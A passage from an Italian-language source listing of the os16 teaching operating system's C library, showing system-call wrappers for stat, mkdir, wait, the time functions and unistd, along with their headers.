3580018     msg.stat.st_rdev    = buffer->st_rdev;
3580019     msg.stat.st_size    = buffer->st_size;
3580020     msg.stat.st_atime   = buffer->st_atime;
3580021     msg.stat.st_mtime   = buffer->st_mtime;
3580022     msg.stat.st_ctime   = buffer->st_ctime;
3580023     msg.stat.st_blksize = buffer->st_blksize;
3580024     msg.stat.st_blocks  = buffer->st_blocks;
3580025     //
3580026     sys (SYS_FSTAT, &msg, (sizeof msg));
3580027     //
3580028     buffer->st_dev      = msg.stat.st_dev;
3580029     buffer->st_ino      = msg.stat.st_ino;
3580030     buffer->st_mode     = msg.stat.st_mode;
3580031     buffer->st_nlink    = msg.stat.st_nlink;
3580032     buffer->st_uid      = msg.stat.st_uid;
3580033     buffer->st_gid      = msg.stat.st_gid;
3580034     buffer->st_rdev     = msg.stat.st_rdev;
3580035     buffer->st_size     = msg.stat.st_size;
3580036     buffer->st_atime    = msg.stat.st_atime;
3580037     buffer->st_mtime    = msg.stat.st_mtime;
3580038     buffer->st_ctime    = msg.stat.st_ctime;
3580039     buffer->st_blksize  = msg.stat.st_blksize;
3580040     buffer->st_blocks   = msg.stat.st_blocks;
3580041     //
3580042     errno = msg.errno;
3580043     errln = msg.errln;
3580044     strncpy (errfn, msg.errfn, PATH_MAX);
3580045     return (msg.ret);
3580046 }
```

106.13.4 lib/sys/stat/mkdir.c

Si veda la sezione 98.25.

```
3590001 #include <sys/stat.h>
3590002 #include <string.h>
3590003 #include <const.h>
3590004 #include <sys/os16.h>
3590005 #include <errno.h>
```

```
3590006 #include <limits.h>
3590007 //----------------------------------------------------------------------
3590008 int
3590009 mkdir (const char *path, mode_t mode)
3590010 {
3590011     sysmsg_mkdir_t msg;
3590012     //
3590013     strncpy (msg.path, path, PATH_MAX);
3590014     msg.mode = mode;
3590015     //
3590016     sys (SYS_MKDIR, &msg, (sizeof msg));
3590017     //
3590018     errno = msg.errno;
3590019     errln = msg.errln;
3590020     strncpy (errfn, msg.errfn, PATH_MAX);
3590021     return (msg.ret);
3590022 }
```

106.13.5 lib/sys/stat/mknod.c

Si veda la sezione 98.26.

```
3600001 #include <unistd.h>
3600002 #include <errno.h>
3600003 #include <sys/os16.h>
3600004 #include <string.h>
3600005 //----------------------------------------------------------------------
3600006 int
3600007 mknod (const char *path, mode_t mode, dev_t device)
3600008 {
3600009     sysmsg_mknod_t msg;
3600010     //
3600011     strncpy (msg.path, path, PATH_MAX);
3600012     msg.mode   = mode;
3600013     msg.device = device;
3600014     //
3600015     sys (SYS_MKNOD, &msg, (sizeof msg));
3600016     //
3600017     errno = msg.errno;
3600018     errln = msg.errln;
3600019     strncpy (errfn, msg.errfn, PATH_MAX);
3600020     return (msg.ret);
3600021 }
```

106.13.6 lib/sys/stat/stat.c

Si veda la sezione 98.36.

```
3610001 #include <unistd.h>
3610002 #include <errno.h>
3610003 #include <sys/os16.h>
3610004 #include <string.h>
3610005 //----------------------------------------------------------------------
3610006 int
3610007 stat (const char *path, struct stat *buffer)
3610008 {
3610009     sysmsg_stat_t msg;
3610010     //
3610011     strncpy (msg.path, path, PATH_MAX);
3610012     //
3610013     msg.stat.st_dev     = buffer->st_dev;
3610014     msg.stat.st_ino     = buffer->st_ino;
3610015     msg.stat.st_mode    = buffer->st_mode;
3610016     msg.stat.st_nlink   = buffer->st_nlink;
3610017     msg.stat.st_uid     = buffer->st_uid;
3610018     msg.stat.st_gid     = buffer->st_gid;
3610019     msg.stat.st_rdev    = buffer->st_rdev;
3610020     msg.stat.st_size    = buffer->st_size;
3610021     msg.stat.st_atime   = buffer->st_atime;
3610022     msg.stat.st_mtime   = buffer->st_mtime;
3610023     msg.stat.st_ctime   = buffer->st_ctime;
3610024     msg.stat.st_blksize = buffer->st_blksize;
3610025     msg.stat.st_blocks  = buffer->st_blocks;
3610026     //
3610027     sys (SYS_STAT, &msg, (sizeof msg));
3610028     //
3610029     buffer->st_dev      = msg.stat.st_dev;
3610030     buffer->st_ino      = msg.stat.st_ino;
3610031     buffer->st_mode     = msg.stat.st_mode;
3610032     buffer->st_nlink    = msg.stat.st_nlink;
3610033     buffer->st_uid      = msg.stat.st_uid;
3610034     buffer->st_gid      = msg.stat.st_gid;
3610035     buffer->st_rdev     = msg.stat.st_rdev;
3610036     buffer->st_size     = msg.stat.st_size;
3610037     buffer->st_atime    = msg.stat.st_atime;
3610038     buffer->st_mtime    = msg.stat.st_mtime;
3610039     buffer->st_ctime    = msg.stat.st_ctime;
3610040     buffer->st_blksize  = msg.stat.st_blksize;
3610041     buffer->st_blocks   = msg.stat.st_blocks;
3610042     //
3610043     errno = msg.errno;
3610044     errln = msg.errln;
3610045     strncpy (errfn, msg.errfn, PATH_MAX);
3610046     return (msg.ret);
3610047 }
```

106.13.7 lib/sys/stat/umask.c

Si veda la sezione 98.40.

```
3620001 #include <sys/stat.h>
3620002 #include <string.h>
3620003 #include <const.h>
3620004 #include <sys/os16.h>
3620005 #include <errno.h>
3620006 #include <limits.h>
3620007 //----------------------------------------------------------------------
3620008 mode_t
3620009 umask (mode_t mask)
3620010 {
3620011     sysmsg_umask_t msg;
3620012     msg.umask = mask;
3620013     sys (SYS_UMASK, &msg, (sizeof msg));
3620014     return (msg.ret);
3620015 }
```

106.14 os16: «lib/sys/types.h»

Si veda la sezione 102.2.

```
3630001 #ifndef _SYS_TYPES_H
3630002 #define _SYS_TYPES_H    1
3630003 //----------------------------------------------------------------------
3630004 
3630005 #include <clock_t.h>
3630006 #include <time_t.h>
3630007 #include <size_t.h>
3630008 #include <stdint.h>
3630009 //----------------------------------------------------------------------
3630010 typedef     long int blkcnt_t;
3630011 typedef     long int blksize_t;
3630012 typedef     uint16_t dev_t;     // Traditional device size.
3630013 typedef unsigned int id_t;
3630014 typedef unsigned int gid_t;
3630015 typedef unsigned int uid_t;
3630016 typedef     uint16_t ino_t;     // Minix 1 file system inode size.
3630017 typedef     uint16_t mode_t;    // Minix 1 file system mode size.
3630018 typedef unsigned int nlink_t;
3630019 typedef     long int off_t;
3630020 typedef          int pid_t;
3630021 typedef unsigned int pthread_t;
3630022 typedef     long int ssize_t;
3630023 //----------------------------------------------------------------------
3630024 // Common extentions.
3630025 //
3630026 dev_t makedev (int major, int minor);
3630027 int   major   (dev_t device);
```

```
3630028 int   minor   (dev_t device);
3630029 //----------------------------------------------------------------------
3630030 
3630031 #endif
```

106.14.1 lib/sys/types/major.c

Si veda la sezione 99.65.

```
3640001 #include <sys/types.h>
3640002 //----------------------------------------------------------------------
3640003 int
3640004 major (dev_t device)
3640005 {
3640006     return ((int) (device / 256));
3640007 }
```

106.14.2 lib/sys/types/makedev.c

Si veda la sezione 99.65.

```
3650001 #include <sys/types.h>
3650002 //----------------------------------------------------------------------
3650003 dev_t
3650004 makedev (int major, int minor)
3650005 {
3650006     return ((dev_t) (major * 256 + minor));
3650007 }
```

106.14.3 lib/sys/types/minor.c

Si veda la sezione 99.65.

```
3660001 #include <sys/types.h>
3660002 //----------------------------------------------------------------------
3660003 int
3660004 minor (dev_t device)
3660005 {
3660006     return ((dev_t) (device & 0x00FF));
3660007 }
```

106.15 os16: «lib/sys/wait.h»

Si veda la sezione 102.2.

```
3670001 #ifndef _SYS_WAIT_H
3670002 #define _SYS_WAIT_H      1
3670003
3670004 #include <sys/types.h>
3670005
3670006 //----------------------------------------------------------------------
3670007 pid_t wait    (int *status);
3670008 //----------------------------------------------------------------------
3670009
3670010 #endif
```

106.15.1 lib/sys/wait/wait.c

Si veda la sezione 98.43.

```
3680001 #include <sys/types.h>
3680002 #include <errno.h>
3680003 #include <sys/os16.h>
3680004 #include <stddef.h>
3680005 #include <string.h>
3680006 //----------------------------------------------------------------------
3680007 pid_t
3680008 wait (int *status)
3680009 {
3680010     sysmsg_wait_t msg;
3680011     msg.ret    = 0;
3680012     msg.errno  = 0;
3680013     msg.status = 0;
3680014     while (msg.ret == 0)
3680015       {
3680016         //
3680017         // Loop as long as there are children, an none is dead.
3680018         //
3680019         sys (SYS_WAIT, &msg, (sizeof msg));
3680020       }
3680021     errno = msg.errno;
3680022     errln = msg.errln;
3680023     strncpy (errfn, msg.errfn, PATH_MAX);
3680024     //
3680025     if (status != NULL)
3680026       {
3680027         //
3680028         // Only the low eight bits are returned.
3680029         //
3680030         *status = (msg.status & 0x00FF);
3680031       }
3680032     return (msg.ret);
3680033 }
```

106.16 os16: «lib/time.h»

Si veda la sezione 102.2.

```
3690001 #ifndef _TIME_H
3690002 #define _TIME_H       1
3690003 //----------------------------------------------------------------------
3690004 
3690005 #include <const.h>
3690006 #include <restrict.h>
3690007 #include <size_t.h>
3690008 #include <time_t.h>
3690009 #include <clock_t.h>
3690010 #include <NULL.h>
3690011 #include <stdint.h>
3690012 //----------------------------------------------------------------------
3690013 #define CLOCKS_PER_SEC  18  // Should be 18.22 Hz, but it is a 'int'.
3690014 //----------------------------------------------------------------------
3690015 struct tm {int tm_sec;  int tm_min;  int tm_hour;
3690016            int tm_mday; int tm_mon;  int tm_year;
3690017            int tm_wday; int tm_yday; int tm_isdst;};
3690018 //----------------------------------------------------------------------
3690019 clock_t    clock      (void);
3690020 time_t     time       (time_t *timer);
3690021 int        stime      (time_t *timer);
3690022 double     difftime   (time_t time1, time_t time0);
3690023 time_t     mktime     (struct tm *timeptr);
3690024 struct tm *gmtime     (const time_t *timer);
3690025 struct tm *localtime  (const time_t *timer);
3690026 char      *asctime    (const struct tm *timeptr);
3690027 char      *ctime      (const time_t *timer);
3690028 size_t     strftime   (char * restrict s, size_t maxsize,
3690029                        const char * restrict format,
3690030                        const struct tm * restrict timeptr);
3690031 //----------------------------------------------------------------------
3690032 #define difftime(t1,t0)  ((double)((t1)-(t0)))
3690033 #define ctime(t)         (asctime (localtime (t)))
3690034 #define localtime(t)     (gmtime (t))
3690035 //----------------------------------------------------------------------
3690036 
3690037 #endif
```

106.16.1 lib/time/asctime.c

Si veda la sezione 99.13.

```
3700001 #include <time.h>
3700002 #include <string.h>
3700003 #include <stdio.h>
3700004 
3700005 //----------------------------------------------------------------------
```

```
3700006 char *
3700007 asctime (const struct tm *timeptr)
3700008 {
3700009     static char time_string[25]; // 'Sun Jan 30 24:00:00 2111'
3700010     //
3700011     // Check argument.
3700012     //
3700013     if (timeptr == NULL)
3700014       {
3700015         return (NULL);
3700016       }
3700017     //
3700018     // Set week day.
3700019     //
3700020     switch (timeptr->tm_wday)
3700021       {
3700022         case 0:
3700023             strcpy (&time_string[0], "Sun");
3700024             break;
3700025         case 1:
3700026             strcpy (&time_string[0], "Mon");
3700027             break;
3700028         case 2:
3700029             strcpy (&time_string[0], "Tue");
3700030             break;
3700031         case 3:
3700032             strcpy (&time_string[0], "Wed");
3700033             break;
3700034         case 4:
3700035             strcpy (&time_string[0], "Thu");
3700036             break;
3700037         case 5:
3700038             strcpy (&time_string[0], "Fri");
3700039             break;
3700040         case 6:
3700041             strcpy (&time_string[0], "Sat");
3700042             break;
3700043         default:
3700044             strcpy (&time_string[0], "Err");
3700045       }
3700046     //
3700047     // Set month.
3700048     //
3700049     switch (timeptr->tm_mon)
3700050       {
3700051         case 1:
3700052             strcpy (&time_string[3], " Jan");
3700053             break;
3700054         case 2:
3700055             strcpy (&time_string[3], " Feb");
3700056             break;
3700057         case 3:
```

```
3700058                 strcpy (&time_string[3], " Mar");
3700059                 break;
3700060             case 4:
3700061                 strcpy (&time_string[3], " Apr");
3700062                 break;
3700063             case 5:
3700064                 strcpy (&time_string[3], " May");
3700065                 break;
3700066             case 6:
3700067                 strcpy (&time_string[3], " Jun");
3700068                 break;
3700069             case 7:
3700070                 strcpy (&time_string[3], " Jul");
3700071                 break;
3700072             case 8:
3700073                 strcpy (&time_string[3], " Aug");
3700074                 break;
3700075             case 9:
3700076                 strcpy (&time_string[3], " Sep");
3700077                 break;
3700078             case 10:
3700079                 strcpy (&time_string[3], " Oct");
3700080                 break;
3700081             case 11:
3700082                 strcpy (&time_string[3], " Nov");
3700083                 break;
3700084             case 12:
3700085                 strcpy (&time_string[3], " Dec");
3700086                 break;
3700087             default:
3700088                 strcpy (&time_string[3], " Err");
3700089           }
3700090         //
3700091         // Set day of month, hour, minute, second and year.
3700092         //
3700093         sprintf (&time_string[7], " %2i %2i:%2i:%2i %4i",
3700094                  timeptr->tm_mday,  timeptr->tm_hour,  timeptr->tm_min,
3700095                  timeptr->tm_sec,  timeptr->tm_year);
3700096         //
3700097         //
3700098         //
3700099         return (&time_string[0]);
3700100     }
```

106.16.2 lib/time/clock.c

Si veda la sezione 98.6.

```
3710001 #include <time.h>
3710002 #include <sys/os16.h>
3710003 //----------------------------------------------------------------------
3710004 clock_t
3710005 clock (void)
3710006 {
3710007     sysmsg_clock_t msg;
3710008     msg.ret = 0;
3710009     sys (SYS_CLOCK, &msg, (sizeof msg));
3710010     return (msg.ret);
3710011 }
3710012
```

106.16.3 lib/time/gmtime.c

Si veda la sezione 99.13.

```
3720001 #include <time.h>
3720002 //----------------------------------------------------------------------
3720003 static int leap_year (int year);
3720004 //----------------------------------------------------------------------
3720005 struct tm *
3720006 gmtime (const time_t *timer)
3720007 {
3720008     static struct tm  tms;
3720009     int               loop;
3720010     unsigned int      remainder;
3720011     unsigned int      days;
3720012     //
3720013     // Check argument.
3720014     //
3720015     if (timer == NULL)
3720016       {
3720017         return (NULL);
3720018       }
3720019     //
3720020     // Days since epoch. There are 86400 seconds per day.
3720021     // At the moment, the field 'tm_yday' will contain
3720022     // all days since epoch.
3720023     //
3720024     days      = *timer / 86400L;
3720025     remainder = *timer % 86400L;
3720026     //
3720027     // Minutes, after full days.
3720028     //
3720029     tms.tm_min = remainder / 60U;
3720030     //
```

```
3720031     // Seconds, after full minutes.
3720032     //
3720033     tms.tm_sec = remainder % 60U;
3720034     //
3720035     // Hours, after full days.
3720036     //
3720037     tms.tm_hour = tms.tm_min / 60;
3720038     //
3720039     // Minutes, after full hours.
3720040     //
3720041     tms.tm_min = tms.tm_min % 60;
3720042     //
3720043     // Find the week day. Must remove some days to align the
3720044     // calculation. So: the week days of the first week of 1970
3720045     // are not valid! After 1970-01-04 calculations are right.
3720046     //
3720047     tms.tm_wday = (days - 3) % 7;
3720048     //
3720049     // Find the year: the field 'tm_yday' will be reduced to the days
3720050     // of current year.
3720051     //
3720052     for (tms.tm_year = 1970; days > 0; tms.tm_year++)
3720053       {
3720054         if (leap_year (tms.tm_year))
3720055           {
3720056             if (days >= 366)
3720057               {
3720058                 days -= 366;
3720059                 continue;
3720060               }
3720061             else
3720062               {
3720063                 break;
3720064               }
3720065           }
3720066         else
3720067           {
3720068             if (days >= 365)
3720069               {
3720070                 days -= 365;
3720071                 continue;
3720072               }
3720073             else
3720074               {
3720075                 break;
3720076               }
3720077           }
3720078       }
3720079     //
3720080     // Day of the year.
3720081     //
3720082     tms.tm_yday = days + 1;
```

```
3720083        //
3720084        // Find the month.
3720085        //
3720086        tms.tm_mday = days + 1;
3720087        //
3720088        for (tms.tm_mon = 0, loop = 1; tms.tm_mon <= 12 && loop;)
3720089          {
3720090            tms.tm_mon++;
3720091            //
3720092            switch (tms.tm_mon)
3720093              {
3720094                case 1:
3720095                case 3:
3720096                case 5:
3720097                case 7:
3720098                case 8:
3720099                case 10:
3720100                case 12:
3720101                    if (tms.tm_mday >= 31)
3720102                      {
3720103                        tms.tm_mday -= 31;
3720104                      }
3720105                    else
3720106                      {
3720107                        loop = 0;
3720108                      }
3720109                    break;
3720110                case 4:
3720111                case 6:
3720112                case 9:
3720113                case 11:
3720114                    if (tms.tm_mday >= 30)
3720115                      {
3720116                        tms.tm_mday -= 30;
3720117                      }
3720118                    else
3720119                      {
3720120                        loop = 0;
3720121                      }
3720122                    break;
3720123                case 2:
3720124                    if (leap_year (tms.tm_year))
3720125                      {
3720126                        if (tms.tm_mday >= 29)
3720127                          {
3720128                            tms.tm_mday -= 29;
3720129                          }
3720130                        else
3720131                          {
3720132                            loop = 0;
3720133                          }
3720134                      }
```

```
3720135                 else
3720136                   {
3720137                     if (tms.tm_mday >= 28)
3720138                       {
3720139                         tms.tm_mday -= 28;
3720140                       }
3720141                     else
3720142                       {
3720143                         loop = 0;
3720144                       }
3720145                   }
3720146                 break;
3720147           }
3720148       }
3720149     //
3720150     // No check for day light saving time.
3720151     //
3720152     tms.tm_isdst = 0;
3720153     //
3720154     // Return.
3720155     //
3720156     return (&tms);
3720157 }
3720158 //----------------------------------------------------------------------
3720159 static int
3720160 leap_year (int year)
3720161 {
3720162     if ((year % 4) == 0)
3720163       {
3720164         if ((year % 100) == 0)
3720165           {
3720166             if ((year % 400) == 0)
3720167               {
3720168                 return (1);
3720169               }
3720170             else
3720171               {
3720172                 return (0);
3720173               }
3720174           }
3720175         else
3720176           {
3720177             return (1);
3720178           }
3720179       }
3720180     else
3720181       {
3720182         return (0);
3720183       }
3720184 }
```

106.16.4 lib/time/mktime.c

Si veda la sezione 99.13.

```
3730001 #include <time.h>
3730002 #include <string.h>
3730003 #include <stdio.h>
3730004 //----------------------------------------------------------------------
3730005 static int leap_year (int year);
3730006 //----------------------------------------------------------------------
3730007 time_t
3730008 mktime (const struct tm *timeptr)
3730009 {
3730010     time_t timer_total;
3730011     time_t timer_aux;
3730012     int    days;
3730013     int    month;
3730014     int    year;
3730015     //
3730016     // From seconds to days.
3730017     //
3730018     timer_total  = timeptr->tm_sec;
3730019     //
3730020     timer_aux    = timeptr->tm_min;
3730021     timer_aux   *= 60;
3730022     timer_total += timer_aux;
3730023     //
3730024     timer_aux    = timeptr->tm_hour;
3730025     timer_aux   *= (60 * 60);
3730026     timer_total += timer_aux;
3730027     //
3730028     timer_aux    = timeptr->tm_mday;
3730029     timer_aux   *= 24;
3730030     timer_aux   *= (60 * 60);
3730031     timer_total += timer_aux;
3730032     //
3730033     // Month: add the days of months.
3730034     // Will scan the months, from the first, but before the
3730035     // months of the value inside field 'tm_mon'.
3730036     //
3730037     for (month = 1, days = 0; month < timeptr->tm_mon; month++)
3730038       {
3730039         switch (month)
3730040           {
3730041             case 1:
3730042             case 3:
3730043             case 5:
3730044             case 7:
3730045             case 8:
3730046             case 10:
3730047                 //
3730048                 // There is no December, because the scan can go up to
3730049                 // the month before the value inside field 'tm_mon'.
```

```
3730050                 //
3730051                 days += 31;
3730052                 break;
3730053             case 4:
3730054             case 6:
3730055             case 9:
3730056             case 11:
3730057                 days += 30;
3730058                 break;
3730059             case 2:
3730060                 if (leap_year (timeptr->tm_year))
3730061                   {
3730062                     days += 29;
3730063                   }
3730064                 else
3730065                   {
3730066                     days += 28;
3730067                   }
3730068                 break;
3730069           }
3730070       }
3730071     //
3730072     timer_aux    = days;
3730073     timer_aux   *= 24;
3730074     timer_aux   *= (60 * 60);
3730075     timer_total += timer_aux;
3730076     //
3730077     // Year. The work is similar to the one of months: days of
3730078     // years are counted, up to the year before the one reported
3730079     // by the field `tm_year'.
3730080     //
3730081     for (year = 1970, days = 0; year < timeptr->tm_year; year++)
3730082       {
3730083         if (leap_year (year))
3730084           {
3730085             days += 366;
3730086           }
3730087         else
3730088           {
3730089             days += 365;
3730090           }
3730091       }
3730092     //
3730093     // After all, must subtract a day from the total.
3730094     //
3730095     days--;
3730096     //
3730097     timer_aux    = days;
3730098     timer_aux   *= 24;
3730099     timer_aux   *= (60 * 60);
3730100     timer_total += timer_aux;
3730101     //
```

```
3730102     // That's all.
3730103     //
3730104     return (timer_total);
3730105 }
3730106 //----------------------------------------------------------------------
3730107 int
3730108 leap_year (int year)
3730109 {
3730110     if ((year % 4) == 0)
3730111       {
3730112         if ((year % 100) == 0)
3730113           {
3730114             if ((year % 400) == 0)
3730115               {
3730116                 return (1);
3730117               }
3730118             else
3730119               {
3730120                 return (0);
3730121               }
3730122           }
3730123         else
3730124           {
3730125             return (1);
3730126           }
3730127       }
3730128     else
3730129       {
3730130         return (0);
3730131       }
3730132 }
```

106.16.5 lib/time/stime.c

Si veda la sezione 98.39.

```
3740001 #include <time.h>
3740002 #include <sys/os16.h>
3740003 //----------------------------------------------------------------------
3740004 int
3740005 stime (time_t *timer)
3740006 {
3740007     sysmsg_stime_t msg;
3740008     msg.timer = *timer;
3740009     msg.ret = 0;
3740010     sys (SYS_STIME, &msg, (sizeof msg));
3740011     return (msg.ret);
3740012 }
```

106.16.6 lib/time/time.c

Si veda la sezione 98.39.

```
3750001 #include <time.h>
3750002 #include <sys/os16.h>
3750003 //----------------------------------------------------------------------
3750004 time_t
3750005 time (time_t *timer)
3750006 {
3750007     sysmsg_time_t msg;
3750008     msg.ret = ((time_t) 0);
3750009     sys (SYS_TIME, &msg, (sizeof msg));
3750010     if (timer != NULL)
3750011       {
3750012         *timer = msg.ret;
3750013       }
3750014     return (msg.ret);
3750015 }
```

106.17 os16: «lib/unistd.h»

Si veda la sezione 102.2.

```
3760001 #ifndef _UNISTD_H
3760002 #define _UNISTD_H       1
3760003 
3760004 #include <const.h>
3760005 #include <sys/stat.h>
3760006 #include <sys/os16.h>
3760007 #include <sys/types.h>  // size_t, ssize_t, uid_t, gid_t, off_t, pid_t
3760008 #include <inttypes.h>   // intptr_t
3760009 #include <SEEK.h>       // SEEK_CUR, SEEK_SET, SEEK_END
3760010 //----------------------------------------------------------------------
3760011 extern char **environ;  // Variable `environ' is used by functions like
3760012                         // `execv()' in replacement for `envp[][]'.
3760013 //----------------------------------------------------------------------
3760014 extern char *optarg;    // Used by `optarg()'.
3760015 extern int   optind;    //
3760016 extern int   opterr;    //
3760017 extern int   optopt;    //
3760018 //----------------------------------------------------------------------
3760019 #define STDIN_FILENO    0       //
3760020 #define STDOUT_FILENO   1       // Standard file descriptors.
3760021 #define STDERR_FILENO   2       //
3760022 //----------------------------------------------------------------------
3760023 #define R_OK            4       // Read permission.
3760024 #define W_OK            2       // Write permission.
3760025 #define X_OK            1       // Execute or traverse permission.
3760026 #define F_OK            0       // File exists.
3760027 //----------------------------------------------------------------------
```

```
3760028
3760029 int            access      (const char *path, int mode);
3760030 int            chdir       (const char *path);
3760031 int            chown       (const char *path, uid_t uid, gid_t gid);
3760032 int            close       (int fdn);
3760033 int            dup         (int fdn_old);
3760034 int            dup2        (int fdn_old, int fdn_new);
3760035 int            execl       (const char *path, const char *arg, ...);
3760036 int            execle      (const char *path, const char *arg, ...);
3760037 int            execlp      (const char *path, const char *arg, ...);
3760038 int            execv       (const char *path, char *const argv[]);
3760039 int            execve      (const char *path, char *const argv[],
3760040                              char *const envp[]);
3760041 int            execvp      (const char *path, char *const argv[]);
3760042 void          _exit        (int status);
3760043 int            fchown      (int fdn, uid_t uid, gid_t gid);
3760044 pid_t          fork        (void);
3760045 char          *getcwd      (char *buffer, size_t size);
3760046 uid_t          geteuid     (void);
3760047 int            getopt      (int argc, char *const argv[],
3760048                              const char *optstring);
3760049 pid_t          getpgrp     (void);
3760050 pid_t          getppid     (void);
3760051 pid_t          getpid      (void);
3760052 uid_t          getuid      (void);
3760053 int            isatty      (int fdn);
3760054 int            link        (const char *path_old, const char *path_new);
3760055 off_t          lseek       (int fdn, off_t offset, int whence);
3760056 #define        nice(n)     (0)
3760057 ssize_t        read        (int fdn, void *buffer, size_t count);
3760058 #define        readlink(p,b,s) ((ssize_t) -1)
3760059 int            rmdir       (const char *path);
3760060 int            seteuid     (uid_t uid);
3760061 int            setpgrp     (void);
3760062 int            setuid      (uid_t uid);
3760063 unsigned int sleep         (unsigned int s);
3760064 #define        sync()      /**/
3760065 char          *ttyname     (int fdn);
3760066 int            unlink      (const char *path);
3760067 ssize_t        write       (int fdn, const void *buffer, size_t count);
3760068
3760069 #endif
```

106.17.1 lib/unistd/_exit.c

Si veda la sezione 98.2.

```
3770001 #include <unistd.h>
3770002 #include <sys/os16.h>
3770003 //----------------------------------------------------------------------
3770004 void
```

```
3770005 _exit (int status)
3770006 {
3770007     sysmsg_exit_t msg;
3770008     //
3770009     // Only the low eight bit are returned.
3770010     //
3770011     msg.status = (status & 0xFF);
3770012     //
3770013     //
3770014     //
3770015     sys (SYS_EXIT, &msg, (sizeof msg));
3770016     //
3770017     // Should not return from system call, but if it does, loop
3770018     // forever:
3770019     //
3770020     while (1);
3770021 }
```

106.17.2 lib/unistd/access.c

Si veda la sezione 99.1.

```
3780001 #include <unistd.h>
3780002 #include <sys/stat.h>
3780003 #include <errno.h>
3780004 //----------------------------------------------------------------------
3780005 int
3780006 access (const char *path, int mode)
3780007 {
3780008     struct stat st;
3780009     int         status;
3780010     uid_t       euid;
3780011     //
3780012     status = stat (path, &st);
3780013     if (status != 0)
3780014       {
3780015         return (-1);
3780016       }
3780017     //
3780018     // File exists?
3780019     //
3780020     if (mode == F_OK)
3780021       {
3780022         return (0);
3780023       }
3780024     //
3780025     // Some access permissions are requested: get effective user id.
3780026     //
3780027     euid = geteuid ();
3780028     //
3780029     // Check owner access permissions.
```

```
3780030      //
3780031      if (st.st_uid == euid && ((st.st_mode & S_IRWXU) == (mode << 6)))
3780032        {
3780033          return (0);
3780034        }
3780035      //
3780036      // Check others access permissions.
3780037      //
3780038      if ((st.st_mode & S_IRWXO) == (mode))
3780039        {
3780040          return (0);
3780041        }
3780042      //
3780043      // Otherwise there are no access permissions.
3780044      //
3780045      errset (EACCES);                    // Permission denied.
3780046      return (-1);
3780047  }
```

106.17.3 lib/unistd/chdir.c

Si veda la sezione 98.3.

```
3790001  #include <unistd.h>
3790002  #include <string.h>
3790003  #include <const.h>
3790004  #include <sys/os16.h>
3790005  #include <errno.h>
3790006  #include <limits.h>
3790007  //----------------------------------------------------------------------
3790008  int
3790009  chdir (const char *path)
3790010  {
3790011      sysmsg_chdir_t msg;
3790012      //
3790013      msg.ret    = 0;
3790014      msg.errno  = 0;
3790015      //
3790016      strncpy (msg.path, path, PATH_MAX);
3790017      //
3790018      sys (SYS_CHDIR, &msg, (sizeof msg));
3790019      //
3790020      errno = msg.errno;
3790021      errln = msg.errln;
3790022      strncpy (errfn, msg.errfn, PATH_MAX);
3790023      return (msg.ret);
3790024  }
```

106.17.4 lib/unistd/chown.c

Si veda la sezione 98.5.

```
3800001 #include <unistd.h>
3800002 #include <string.h>
3800003 #include <const.h>
3800004 #include <sys/os16.h>
3800005 #include <errno.h>
3800006 #include <limits.h>
3800007 //----------------------------------------------------------------------
3800008 int
3800009 chown (const char *path, uid_t uid, gid_t gid)
3800010 {
3800011     sysmsg_chown_t msg;
3800012     //
3800013     strncpy (msg.path, path, PATH_MAX);
3800014     msg.uid = uid;
3800015     msg.gid = gid;
3800016     //
3800017     sys (SYS_CHOWN, &msg, (sizeof msg));
3800018     //
3800019     errno = msg.errno;
3800020     errln = msg.errln;
3800021     strncpy (errfn, msg.errfn, PATH_MAX);
3800022     return (msg.ret);
3800023 }
```

106.17.5 lib/unistd/close.c

Si veda la sezione 98.7.

```
3810001 #include <unistd.h>
3810002 #include <errno.h>
3810003 #include <sys/os16.h>
3810004 #include <string.h>
3810005 //----------------------------------------------------------------------
3810006 int
3810007 close (int fdn)
3810008 {
3810009     sysmsg_close_t msg;
3810010     msg.fdn = fdn;
3810011     sys (SYS_CLOSE, &msg, (sizeof msg));
3810012     errno = msg.errno;
3810013     errln = msg.errln;
3810014     strncpy (errfn, msg.errfn, PATH_MAX);
3810015     return (msg.ret);
3810016 }
```

106.17.6 lib/unistd/dup.c

Si veda la sezione 98.8.

```
3820001 #include <unistd.h>
3820002 #include <sys/os16.h>
3820003 #include <string.h>
3820004 #include <errno.h>
3820005 //----------------------------------------------------------------------
3820006 int
3820007 dup (int fdn_old)
3820008 {
3820009     sysmsg_dup_t msg;
3820010     //
3820011     msg.fdn_old = fdn_old;
3820012     //
3820013     sys (SYS_DUP, &msg, (sizeof msg));
3820014     //
3820015     errno = msg.errno;
3820016     errln = msg.errln;
3820017     strncpy (errfn, msg.errfn, PATH_MAX);
3820018     return (msg.ret);
3820019 }
```

106.17.7 lib/unistd/dup2.c

Si veda la sezione 98.8.

```
3830001 #include <unistd.h>
3830002 #include <sys/os16.h>
3830003 #include <string.h>
3830004 #include <errno.h>
3830005 //----------------------------------------------------------------------
3830006 int
3830007 dup2 (int fdn_old, int fdn_new)
3830008 {
3830009     sysmsg_dup2_t msg;
3830010     //
3830011     msg.fdn_old = fdn_old;
3830012     msg.fdn_new = fdn_new;
3830013     //
3830014     sys (SYS_DUP2, &msg, (sizeof msg));
3830015     //
3830016     errno = msg.errno;
3830017     errln = msg.errln;
3830018     strncpy (errfn, msg.errfn, PATH_MAX);
3830019     return (msg.ret);
3830020 }
```

106.17.8 lib/unistd/environ.c

Si veda la sezione 102.1.

```
3840001 #include <unistd.h>
3840002 //----------------------------------------------------------------------
3840003 char **environ;
```

106.17.9 lib/unistd/execl.c

Si veda la sezione 99.20.

```
3850001 #include <unistd.h>
3850002 //----------------------------------------------------------------------
3850003 int
3850004 execl (const char *path, const char *arg, ...)
3850005 {
3850006     int   argc;
3850007     char *arg_next;
3850008     char *argv[ARG_MAX/2];
3850009     //
3850010     va_list ap;
3850011     va_start (ap, arg);
3850012     //
3850013     arg_next = arg;
3850014     //
3850015     for (argc = 0; argc < ARG_MAX/2; argc++)
3850016       {
3850017         argv[argc] = arg_next;
3850018         if (argv[argc] == NULL)
3850019           {
3850020             break;      // End of arguments.
3850021           }
3850022         arg_next = va_arg (ap, char *);
3850023       }
3850024     //
3850025     return (execve (path, argv, environ));      // [1]
3850026 }
3850027 //
3850028 // The variable 'environ' is declared as 'char **environ' and is
3850029 // included from <unistd.h>.
3850030 //
```

106.17.10 lib/unistd/execle.c

Si veda la sezione 99.20.

```
3860001 #include <unistd.h>
3860002 //----------------------------------------------------------------------
3860003 int
3860004 execle (const char *path, const char *arg, ...)
3860005 {
3860006     int    argc;
3860007     char  *arg_next;
3860008     char  *argv[ARG_MAX/2];
3860009     char **envp;
3860010     //
3860011     va_list ap;
